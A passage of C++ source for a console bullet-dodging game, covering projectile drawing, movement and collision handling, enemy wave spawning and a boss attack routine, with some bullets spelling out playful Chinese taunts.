            if(B[b].what==1){Nor;Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].How<=1) Color(13);else Color(4);cout<<"●";if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==2){Nor;Setpos(B[b].x-1,B[b].y-1);if(ti(B[b].x-1)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x+1,B[b].y-1);if(ti(B[b].x+1)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].How==0){Setpos(B[b].x-1,B[b].y),cout<<"↑";Setpos(B[b].x,B[b].y-1),cout<<"←┼ →";Setpos(B[b].x+1,B[b].y),cout<<"↓";}else if(B[b].How==1){Setpos(B[b].x-1,B[b].y-1),cout<<"↖  ↗";Setpos(B[b].x,B[b].y),cout<<"╳";Setpos(B[b].x+1,B[b].y-1),cout<<"↙  ↘";} if(a==1) Pan(2,B[b].x,B[b].y,b);}}
            if(B[b].what==3||B[b].what==5){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y);if(B[b].How==1) Color(5);else Color(4);cout<<"◎";}}
            if(B[b].what==4){Nor;Setpos(B[b].x,fmax((float)0,B[b].y-8));if(ti(B[b].x)==20){for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"==";}else {for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,fmax((float)0,B[b].y-8));Color(6); for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"═"; if(a==1) Pan(4,B[b].x,B[b].y,b);}}
            if(B[b].what==6||B[b].what==8||B[b].what==9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y-1);if(B[b].what==6){if(B[b].How<=1) Color(1); else Color(6);}if(B[b].what==9){if(B[b].How<=1) Color(4); else Color(8);}if(B[b].what==8)Color(5);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].How%2==1) cout<<"〔●〕"; else cout<<"﹝○﹞"; if(a==1) Pan(6,B[b].x,B[b].y,b);}}
            if(B[b].what==7){Nor;Setpos(B[b].x,B[b].y);if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}}}
            if(B[b].what==10||B[b].what==11||B[b].what==12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;if(B[b].How==1){B[b].vy-=0.2;}else B[b].vx-=0.35;if(B[b].x>=25) B[b].x=25,B[b].vx*=-0.8;if(B[b].what==11&&B[b].y<=1) B[b].y=1,B[b].vy*=-1;if(B[b].what==12&&B[b].y<=1) B[b].y=1,B[b].vx=0,B[b].vy=-0.5,B[b].How=1;Setpos(B[b].x,B[b].y);if(B[b].what==11)Color(1);else if(B[b].what==12)Color(5);else Color(0);if(B[b].t%4<2)cout<<"▃";else cout<<"▍";if(a==1) Pan(B[b].what,B[b].x,B[b].y,b);}}
            if(B[b].what>=13&&B[b].what<=17){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"====";else cout<<"    ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==14) Color(1);else if(B[b].what==15) Color(4);else if(B[b].what==16) Color(5);else if(B[b].what==17) Color(3);else Color(2);cout<<"●";if(B[b].what==14)cout<<"*";if(B[b].what==15)cout<<"";if(B[b].what==16)cout<<"<";if(B[b].what==17)cout<<"X";} if(a==1) Pan(1,B[b].x,B[b].y,b);}
            if(B[b].what==98&&B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(ti(B[b].x==20))cout<<"==";else cout<<"  ";if(B[b].y<=3)B[b].life=0;} 
            if(B[b].what>=99){if(B[b].y<=3)B[b].life=0;if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].what==99)cout<<"█";if(B[b].what>=100&&B[b].what<200){if(B[b].what%5==0)cout<<"我";if(B[b].what%5==1)cout<<"是";if(B[b].what%5==2)cout<<"最";if(B[b].what%5==3)cout<<"强";if(B[b].what%5==4)cout<<"的";}if(B[b].what>=200&&B[b].what<300){if(B[b].what%6==0)cout<<"神";if(B[b].what%6==1)cout<<"级";if(B[b].what%6==2)cout<<"怪";if(B[b].what%6==3)cout<<"物";if(B[b].what%6==4)cout<<"之";if(B[b].what%6==5)cout<<"光";}if(B[b].what>=300&&B[b].what<400){if(B[b].what%8==0)cout<<"颤";if(B[b].what%8==1)cout<<"抖";if(B[b].what%8==2)cout<<"吧";if(B[b].what%8==3)cout<<"无";if(B[b].what%8==4)cout<<"能";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"人";if(B[b].what%8==7)cout<<"类";}if(B[b].what>=400&&B[b].what<500){if(B[b].what%8==0)cout<<"还";if(B[b].what%8==1)cout<<"不";if(B[b].what%8==2)cout<<"快";if(B[b].what%8==3)cout<<"跪";if(B[b].what%8==4)cout<<"倒";if(B[b].what%8==5)cout<<"在";if(B[b].what%8==6)cout<<"朕";if(B[b].what%8==7)cout<<"前";}if(B[b].what>=500&&B[b].what<600){if(B[b].what%8==0)cout<<"看";if(B[b].what%8==1)cout<<"懂";if(B[b].what%8==2)cout<<"这";if(B[b].what%8==3)cout<<"句";if(B[b].what%8==4)cout<<"话";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"是";if(B[b].what%8==7)cout<<"猪";} if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==-1){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==10))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(10-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(10-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(10-B[b].t)*1.0;Setpos(B[b].x,B[b].y);Color(7);if(B[b].t%2==0) cout<<"+";else cout<<"×";}}
            if(B[b].what<=-2&&B[b].what>=-9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;if(B[b].what<=-3&&B[b].what>=-7){if(B[b].x<=7)B[b].x=7;if(B[b].x>=28)B[b].x=28;else if(B[b].x>=B[b].a+1&&B[b].How==1)B[b].How=0;else if(B[b].x<=B[b].a-1&&B[b].How==0)B[b].How=1;if(B[b].How==1&&B[b].vx>=-1)B[b].vx-=0.2;if(B[b].How==0&&B[b].vx<=1)B[b].vx+=0.2;}if(B[b].what==-2) Color(3);if(B[b].what==-3) Color(4);if(B[b].what==-4) Color(1);if(B[b].what==-5) Color(0);if(B[b].what==-6) Color(6);if(B[b].what==-7) Color(5);if(B[b].what==-8) Color(2);if(B[b].what==-9) Color(14);if(T%7<=1&&B[b].what==-5)Color(1);else if(T%7<=1)Color(0);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].what==-2) cout<<"﹝镖﹞";if(B[b].what==-3) cout<<"﹝火﹞";if(B[b].what==-4) cout<<"﹝水﹞";if(B[b].what==-5) cout<<"﹝风﹞";if(B[b].what==-6) cout<<"﹝雷﹞";if(B[b].what==-7) cout<<"﹝磁﹞";if(B[b].what==-8) cout<<"﹝血﹞";if(B[b].what==-9) cout<<"﹝忍﹞"; if(a==1) Pan(-2,B[b].x,B[b].y,b);}}
            if(B[b].what==-11||B[b].what==-12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){if(Magne>0)B[b].How++,B[b].x=B[b].x+(X-B[b].x)/(10-B[b].How)*1.0,B[b].y=B[b].y+(Y-B[b].y)/(10-B[b].How)*1.0;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==-10) Color(5);if(B[b].what==-11) Color(7);if(T%7<=1)Color(0);cout<<"◆"; if(a==1) Pan(-1,B[b].x,B[b].y,b);}}
            if(B[b].what==-13){Nor;Setpos(B[b].x,B[b].y-0.5);if(ti(B[b].x)==20)cout<<"===";else cout<<"   ";if(B[b].life!=0){if(B[b].a==13880086){if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==5))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(5-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(5-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(5-B[b].t)*1.0;}}else{if(B[B[b].a].life==0) B[b].life=0;else if((abs(B[b].x-B[B[b].a].x)+abs(B[b].y-B[B[b].a].y)<1.5||(B[b].t==5))&&B[b].life==1) Exp+=2,B[B[b].a].life=B[b].life=0;if(B[b].life!=0){B[b].x=B[b].x+(B[B[b].a].x-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(B[B[b].a].y-B[b].y)/(5-B[b].t)*1.0;}}Setpos(B[b].x,B[b].y-0.5);if(T%6<3)Color(5);else Color(4);cout<<"●";}}
        }if(br<bl) {br=-1,bl=0;memset(B,0,sizeof(B));}Color(0);
    }
    void Move(){
        if(X<3) X=3;if(Y<1) Y=1,Vy=0;if(Y>29) Y=29,Vy=0;
        if(Ice!=0){X-=Vx/2.0;Y+=Vy/2.0;Vy=fmax(Vy-0.025,(float)0);if(T%6==0&&Up==0&&Y<Ding) Y+=0.25;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.25;if(Up==0&&Y<=Ding-1.25) Vy=0.25;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.25;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.175;else if(Up>0&&Upt==0) Vx-=0.175;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.125,(float)0);if(Upt==1&&T%2==0)Map(-1,0);if(T%2==0)Upt--;}}
        else{X-=Vx;Y+=Vy;Vy=fmax(Vy-0.05,(float)0);if(Wind==0){if(T%6==0&&Up==0&&Y<Ding) Y+=0.5;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.5;}else{if(T%2==0&&Up==0&&Y<Ding) Y+=0.5;if(T%2==1&&Up==0&&Y>=Ding) Y-=0.5;}if(Up==0&&Y<=Ding-1.25) Vy=0.5;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.5;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.35;else if(Up>0&&Upt==0) Vx-=0.35;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.25,(float)0);if(Upt==1)Map(-1,0); Upt--;}}
        for(int i=bl;i<=br;i++){
            if(B[i].what<98)if(B[i].x-B[i].vx<=5||B[i].x-B[i].vx>=30||B[i].y-B[i].vy<=0||B[i].y-B[i].vy>=30){B[i].life=0;Map(1,i);}
            for(int j=0;j<20;j++)if(B[i].what>0&&B[i].life!=0&&abs(B[i].x-I[j][0])<2&&B[i].y-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;B[i].life=0;Exp+=2;}
            if(B[i].t>=100)B[i].life=0;if(B[i].life==0&&i==bl) bl++;
            Map(1,i);if(B[i].life==0) continue;
            else{B[i].t++;
                if(B[i].what==1){if(B[i].y<=25&&B[i].How==0) B[i].vy=0,B[i].How=1;if(B[i].t==30) B[i].y+=1.5,B[i].How=2;if(B[i].t==35) B[i].vy=1.5,B[i].How=3;}
                if(B[i].what==2){if(B[i].t%3==0) B[i].How=!B[i].How;} 
                if(B[i].what==3||B[i].what==5){if(B[i].what==3&&B[i].y<=20) B[i].vy=0;if(B[i].what==5&&B[i].y<=21) B[i].vy=0;if(B[i].t>30&&B[i].t%2==0) B[i].How=!B[i].How;if(B[i].what==5&&B[i].t<=30&&B[i].x<X) B[i].vx=-0.2;else if(B[i].what==5&&B[i].t<=70&&B[i].x>X) B[i].vx=0.2;else B[i].vx=0;if(B[i].t==45){B[i].life=0;br++;B[br].what=4;B[br].x=B[i].x;B[br].y=32;B[br].vy=3;B[br].life=1;}}
                if(B[i].what==6||B[i].what==8||B[i].what==9){if(B[i].vx<0.25&&B[i].vy<0.25&&B[i].t>=50){B[i].life=0;if(B[i].life==0&&i==bl) bl++;Map(1,i);break;}if(B[i].t%5==0) B[i].How=rand()%4;if(B[i].what==9){if(B[i].t==7){X9:float xx=(rand()%41)/40.0,yy=(rand()%41)/40.0;if(xx<=0.5&&yy<=0.5) goto X9;for(int j=1;j<=4;j++){br++,B[br].what=9;B[br].t=11;B[br].x=B[i].x,B[br].y=B[i].y,B[br].vx=xx,B[br].vy=yy;if(j%2==0)swap(B[br].vx,B[br].vy),B[br].vy*=-1;if(j<=2)B[br].vx*=-1,B[br].vy*=-1;B[br].life=1;}B[i].life=0;}}if(B[i].what==8){if(B[i].x>X&&B[i].vx<1.2) B[i].vx+=fmax((float)0,0.2-B[i].t/25);if(B[i].x<X&&B[i].vx>-1.2) B[i].vx-=fmax((float)0,0.2-B[i].t/25);if(B[i].y>Y&&B[i].vy<1.2) B[i].vy+=fmax((float)0,0.2-B[i].t/25);if(B[i].y<Y&&B[i].vy>-1.2) B[i].vy-=fmax((float)0,0.2-B[i].t/25);}}
                if(B[i].what>=13&&B[i].what<=15&&B[i].How!=0){if(B[i].x==B[i].How)B[i].vx=0,B[i].How=0;}
                if(B[i].what==16){if(B[i].x<X&&B[i].vx>=-1) B[i].vx-=0.2;else if(B[i].x>X&&B[i].vx<=1) B[i].vx+=0.2;}
            }
            if(B[i].life==1&&B[i].a==0&&B[i].what>0){if(B[i].y>Y&&abs(B[i].x-X)<=3&&((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis) Dis=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb=i;else if(((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis1) Dis1=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb1=i;}
        }
    }
    void Guai(int R,int r){
        if(R==-1){br++;B[br].what=-1;B[br].x=X+rand()%3-1;B[br].y=Y+rand()%3-1;B[br].life=1;}
        if(R<=-2&&R>=-11){br++;B[br].what=R;B[br].x=B[br].a=r;B[br].y=29;if(R<=-3&&R>=-7)B[br].vx=-1;B[br].vy=1;B[br].life=1;}
        if(R==0){br++;B[br].what=1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==1){br++;B[br].what=2;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==2||R==3){br++;B[br].what=2*R-1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==4){br++;B[br].what=6;if(r<5)r=5;if(r>30)r=30;B[br].x=r;if(r==11||r==25) B[br].y=29-(rand()%20);else B[br].y=29;X4:B[br].vx=(rand()%21-10)/30.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X4;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}
        if(R==5){br++;B[br].How=r;B[br].what=7;if(B[br].How<0) B[br].x=19;if(B[br].How>0) B[br].x=21;B[br].y=29;B[br].vy=1;B[br].life=1;}
    }
    void CpGuai(int R,float x,float y,float xx,float yy){
        if(R==4){br++;B[br].what=6;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
        if(R==6||R==7||R==8){br++;B[br].what=4+R;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
    }
    void MesGuai(int a,int rr){
        int R=rand()%rr,r=-10086;
        if(R==0){if(a==1) r=(5+rand()%8)*2;if(a<=3&&a!=1) r=10+rand()%16;if(a==4) r=rand()%75-20;if(a==5) r=2+rand()%4;if(r!=-10086) Guai(a,r);}
    }
    void NorGuai(int a,int b){    
        if(a==1) {if(b==1||b==41) Guai(0,15),Guai(0,17),Guai(0,19);if(b==21||b==61) Guai(0,21),Guai(0,23),Guai(0,25);if(b==81) Guai(0,11),Guai(0,13),Guai(0,15),Guai(0,17),Guai(0,19);if(b==101||b==141) Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23),Guai(0,25);if(b==121) Guai(0,15),Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23);if(b>=160&&b<=260&&b%10==0) Guai(0,b/10-1);if(b>=270&&b<=370&&b%10==0) Guai(0,52-b/10);if(b>=460&&b<=560&&b%10==0) Guai(0,b/10-37),Guai(0,b/10-36),Guai(0,b/10-35);if(b>=570&&b<=670&&b%10==0) Guai(0,78-b/10),Guai(0,77-b/10),Guai(0,76-b/10);if(b>=760&&b<=960&&b%10==0) Guai(0,b/10-66),Guai(0,b/10-65),Guai(0,103-b/10),Guai(0,104-b/10);if(b>=1000&&b<=1300) MesGuai(0,30-b/50);}
        if(a==2) {if(b<=200&&b%30==1) {int r=rand()%4;if(r==1) r=0;for(int i=0;i<4;i++) if(i!=r) Guai(1,i*4+9);}if(b>200&&b<=220&&b%5==1) Guai(1,18);if(b>220&&b<=300&&b%7==1) Guai(1,b/5-26);if(b>350&&b<=370&&b%5==1) Guai(1,22);if(b>370&&b<=450&&b%7==1) Guai(1,96-b/5);if(b==461||b==501||b==541) Guai(1,13),Guai(1,17),Guai(1,21);if(b==481||b==521||b==561) Guai(1,17),Guai(1,21),Guai(1,25);if(b>=561&&b<=861&&b%20==1) Guai(1,b/40+5);if(b>=561&&b<=861&&b%20==11) Guai(1,35-b/40);if(b>=801&&b<=961&&b%15==1) Guai(1,20);if(b>=1000&&b<=1300) MesGuai(1,30-b/50);}
        if(a==3) {if(b==1||b==61) Guai(3,15),Guai(2,17),Guai(2,19);if(b==31||b==91) Guai(2,21),Guai(2,23),Guai(3,25);if(b>=120&&b<=220&&b%10==0) Guai(2,b/10+3);if(b>=240&&b<=340&&b%10==0) Guai(2,49-b/10);if(b>=360&&b<=460&&b%20==0) Guai(2,b/10-21),Guai(2,61-b/10);if(b>=480&&b<=580&&b%20==0) Guai(3,b/10-33),Guai(3,73-b/10);if(b>=600&&b<750&&b%30==0) {for(int i=0;i<5;i++) Guai(3,i*3+10);}if(b>=750&&b<830&&b%10==0) if(b<=200&&b%40==1) Guai(2,X);if(b>=830&&b<910&&b%20==0) Guai(2,X);if(b>=910&&b<980&&b%10==0) Guai(2,X);if(b>=1000&&b<=1300) MesGuai(rand()%2+2,40-b/50);}
        if(a==4) {if(b==1) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.65);if(b==41) CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b==81) CpGuai(4,5,20,-0.4,0.35),CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,30,20,0.25,0.4),CpGuai(4,21,29,0,0.65);if(b==121) CpGuai(4,5,20,-0.2,0.35),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,30,20,0.4,0.4),CpGuai(4,18,29,0,0.65);if(b==161) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.6),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b>=200&&b<=500&&b%40==1) {float r=0,rr;for(int i=1;i<=5;i++){X5:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X5;r=rr;CpGuai(4,i*3+7,29,0,0.5+(rand()%50)/80.0);}}if(b>540&&b<=565&&b%5==1) CpGuai(4,5,8,-2,0.2);if(b>590&&b<=615&&b%5==1) CpGuai(4,30,8,1.5,0.2);if(b>640&&b<=665&&b%5==1) CpGuai(4,5,8,-1.5,0.3);if(b>690&&b<=715&&b%5==1) CpGuai(4,30,8,2,0.3);if(b>=750&&b<=950&&b%20==1) {float r=0,rr;for(int i=1;i<=3;i++){X6:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X6;r=rr;CpGuai(4,i*5+7+(rand()%3),29,0,0.5+(rand()%50)/200.0);}}if(b>=1000&&b<=1300) MesGuai(4,5);}
    }
    void RandGood(){
        if(Biao>0){Biao--;Guai(-1,0);}
        if(Gd[1]==0){Gd[1]=rand()%1000+1;if(Win==7)Gd[1]=10086;Gd[3]=rand()%16+8;}
        else if(Gd[1]<=5){Guai(-2-Gd[1],Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=20&&Gd[1]<27){Guai(-8,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=30&&Gd[1]<37){Guai(-9,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=40&&Gd[1]<70){Gd[2]++;if(Gd[2]%2==1)Guai(-10,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=70&&Gd[1]<100){Gd[2]++;if(Gd[2]%2==1)Guai(-11,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Boss!=0&&Gd[1]>=450&&Gd[1]<=500){Guai(-2,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else Gd[1]=0;
        for(int i=0;i<20;i++){if(I[i][0]==-1) continue;Setpos(I[i][0],I[i][1]);Color(0);if(I[i][0]==20) cout<<"===";else cout<<"   ";I[i][1]++;if(I[i][0]>=28||I[i][0]<=0||I[i][1]>=29) I[i][0]=I[i][1]=-1;else Color(1),Setpos(I[i][0],I[i][1]),cout<<"■";Color(0);}
    }
    void Panboss(int bx,int by){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){if((Boss==1||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo1[4]==0) Blo-=20,Bgo1[4]=1,Killb=20,Kill=1;if((Boss==2||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo2[8]==0) Blo-=20,Bgo2[8]=1,Killb=20,Kill=1;}
    }
    void Boss1(){
        for(int j=0;j<20;j++)if(abs(Bx1-I[j][0])<2&&By1-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        if(Bwhat1==5){int bx,by;Color(5);for(int i=0;i<10;i++){bx=Bx1-i*Bvx1/10.0;by=By1-i*Bvy1/10.0;Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);}
        Bx1-=Bvx1;By1-=Bvy1;
        if(Bwhat1==0){X2:Bwhat1=rand()%7;if(Bwhat1==2||Bwhat1==3){if(By1<=10||By1>25) goto X2;}if(Bwhat1==4){if(By1<=15||Bx1<20) goto X2;Bgo1[2]=Bx1;Bgo1[3]=By1-1;}if(Bwhat1==5) {X0:Bgo1[3]=rand()%4+1;Bvx1=(rand()%101)/20.0;Bvy1=(rand()%101)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||Out1)goto X0;}if(Bwhat1==6){if(By1<=17||By1>25) goto X2;}}
        if(Bwhat1==1){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;Bvx1=(rand()%101-20)/50.0;Bvy1=(rand()%101-20)/50.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==2){Bgo1[1]++;if(Bgo1[1]>6){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=6;X3:B[br].vx=(rand()%21-10)/40.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X3;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}if(Bgo1[1]>8) Chang1}
        if(Bwhat1==3){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%3==0){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=8;B[br].life=1;}if(Bgo1[1]>15) Chang1}
